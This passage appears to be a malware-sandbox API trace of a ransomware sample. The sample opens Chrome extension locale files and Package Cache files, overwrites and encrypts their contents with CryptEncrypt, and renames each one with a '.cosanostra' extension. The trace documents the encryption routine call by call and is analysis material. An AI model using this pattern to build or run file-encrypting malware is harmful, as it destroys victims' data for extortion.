(lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.336] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json") returned 155 [0086.336] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.349] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffed6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.349] WriteFile (in: hFile=0x184, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x251f8ac, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x251f8ac*=0x12a, lpOverlapped=0x0) returned 1 [0086.349] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.349] WriteFile (in: hFile=0x184, lpBuffer=0x251f8ec*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f8ac, lpOverlapped=0x0 | out: lpBuffer=0x251f8ec*, lpNumberOfBytesWritten=0x251f8ac*=0x4, lpOverlapped=0x0) returned 1 [0086.349] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f8ac, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f8ac*=0x30, lpOverlapped=0x0) returned 1 [0086.350] CloseHandle (hObject=0x184) returned 1 [0086.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0086.352] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8e0 | out: pbBuffer=0x251f8e0) returned 1 [0086.353] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8d8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8d8*=0x30) returned 1 [0086.353] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.353] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json") returned 158 [0086.353] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.354] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.354] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x251f89c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f89c*=0xd4, lpOverlapped=0x0) returned 1 [0086.354] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.354] WriteFile (in: hFile=0x184, lpBuffer=0x251f8dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f89c, lpOverlapped=0x0 | out: lpBuffer=0x251f8dc*, lpNumberOfBytesWritten=0x251f89c*=0x4, lpOverlapped=0x0) returned 1 [0086.354] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f89c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f89c*=0x30, lpOverlapped=0x0) returned 1 [0086.354] CloseHandle (hObject=0x184) returned 1 [0086.355] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_TW\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_tw\\messages.json.cosanostra")) returned 1 [0086.357] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8d8 | out: pbBuffer=0x251f8d8) returned 1 [0086.357] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8d0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8d0*=0x30) returned 1 [0086.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.357] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json") returned 158 [0086.357] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.358] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff2c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.358] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x251f894, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f894*=0xd4, lpOverlapped=0x0) returned 1 [0086.358] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.358] WriteFile (in: hFile=0x184, lpBuffer=0x251f8d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f894, lpOverlapped=0x0 | out: lpBuffer=0x251f8d4*, lpNumberOfBytesWritten=0x251f894*=0x4, lpOverlapped=0x0) returned 1 [0086.358] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f894, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f894*=0x30, lpOverlapped=0x0) returned 1 [0086.358] CloseHandle (hObject=0x184) returned 1 [0086.359] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_CN\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\zh_cn\\messages.json.cosanostra")) returned 1 [0086.360] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8d0 | out: pbBuffer=0x251f8d0) returned 1 [0086.360] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8c8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8c8*=0x30) returned 1 [0086.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.361] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json") returned 155 [0086.361] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.362] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff1d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.362] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe3, lpNumberOfBytesWritten=0x251f88c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f88c*=0xe3, lpOverlapped=0x0) returned 1 [0086.362] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.362] WriteFile (in: hFile=0x184, lpBuffer=0x251f8cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f88c, lpOverlapped=0x0 | out: lpBuffer=0x251f8cc*, lpNumberOfBytesWritten=0x251f88c*=0x4, lpOverlapped=0x0) returned 1 [0086.362] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f88c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f88c*=0x30, lpOverlapped=0x0) returned 1 [0086.362] CloseHandle (hObject=0x184) returned 1 [0086.362] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\vi\\messages.json.cosanostra")) returned 1 [0086.364] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8c8 | out: pbBuffer=0x251f8c8) returned 1 [0086.364] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8c0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8c0*=0x30) returned 1 [0086.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.364] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json") returned 155 [0086.364] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.365] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.365] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x251f884, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f884*=0xfe, lpOverlapped=0x0) returned 1 [0086.365] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.365] WriteFile (in: hFile=0x184, lpBuffer=0x251f8c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f884, lpOverlapped=0x0 | out: lpBuffer=0x251f8c4*, lpNumberOfBytesWritten=0x251f884*=0x4, lpOverlapped=0x0) returned 1 [0086.366] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f884, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f884*=0x30, lpOverlapped=0x0) returned 1 [0086.366] CloseHandle (hObject=0x184) returned 1 [0086.366] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\uk\\messages.json.cosanostra")) returned 1 [0086.367] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8c0 | out: pbBuffer=0x251f8c0) returned 1 [0086.367] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8b8*=0x30) returned 1 [0086.367] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.368] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json") returned 155 [0086.368] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.416] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff1f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.416] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xe1, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f87c*=0xe1, lpOverlapped=0x0) returned 1 [0086.416] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.416] WriteFile (in: hFile=0x184, lpBuffer=0x251f8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x251f8bc*, lpNumberOfBytesWritten=0x251f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.416] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f87c*=0x30, lpOverlapped=0x0) returned 1 [0086.416] CloseHandle (hObject=0x184) returned 1 [0086.417] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\messages.json.cosanostra")) returned 1 [0086.417] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8c0 | out: pbBuffer=0x251f8c0) returned 1 [0086.417] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8b8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8b8*=0x30) returned 1 [0086.417] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.418] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 81 [0086.418] StrStrW (lpFirst="state.rsm", lpSrch=".txt") returned 0x0 [0086.432] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffd02, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.432] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2fe, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f87c*=0x2fe, lpOverlapped=0x0) returned 1 [0086.433] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.433] WriteFile (in: hFile=0x184, lpBuffer=0x251f8bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x251f8bc*, lpNumberOfBytesWritten=0x251f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.433] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f87c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f87c*=0x30, lpOverlapped=0x0) returned 1 [0086.433] CloseHandle (hObject=0x184) returned 1 [0086.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.cosanostra" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.cosanostra")) returned 1 [0086.436] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8b8 | out: pbBuffer=0x251f8b8) returned 1 [0086.436] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8b0*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8b0*=0x30) returned 1 [0086.436] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.436] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json") returned 158 [0086.436] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.438] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff3a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.438] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc6, lpNumberOfBytesWritten=0x251f874, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x251f874*=0xc6, lpOverlapped=0x0) returned 1 [0086.438] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.438] WriteFile (in: hFile=0x184, lpBuffer=0x251f8b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251f874, lpOverlapped=0x0 | out: lpBuffer=0x251f8b4*, lpNumberOfBytesWritten=0x251f874*=0x4, lpOverlapped=0x0) returned 1 [0086.438] WriteFile (in: hFile=0x184, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251f874, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x251f874*=0x30, lpOverlapped=0x0) returned 1 [0086.439] CloseHandle (hObject=0x184) returned 1 [0086.439] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_PT\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\pt_pt\\messages.json.cosanostra")) returned 1 [0086.440] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251f8b0 | out: pbBuffer=0x251f8b0) returned 1 [0086.440] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x251f8a8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x251f8a8*=0x30) returned 1 [0086.440] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0086.609] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package 